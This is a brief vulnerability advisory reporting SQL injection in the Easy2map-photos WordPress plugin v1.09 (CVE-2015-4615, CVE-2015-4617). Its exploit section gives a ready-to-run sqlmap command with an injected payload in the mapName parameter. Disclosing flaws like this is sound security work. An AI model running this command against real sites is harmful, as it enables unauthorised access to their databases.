SQL Injection in easy2map-photos wordpress plugin v1.09

#881 · 2015-06-08

CVE ID(s): CVE-2015-4615, CVE-2015-4617

Summary: SQL Injection in Easy2map-photos WordPress Plugin

Notified: 2015-06-08

Description:

Easy2Map Photos is a simple-yet-powerful tool for generating great-looking geo-tagged photo galleries.

Exploit:

$ sqlmap -u 'http://wp.site:80/wp-admin/admin-ajax.php' --data="mapID=11&mapName='+or+1%3D%3D1%3B&action=e2m_img_save_map_name" --cookie='COOKIE HERE' --level=5 --risk=3

Download: https://wordpress.org/plugins/easy2map-photos

URL: http://www.vapid.dhs.org/advisory.php?v=130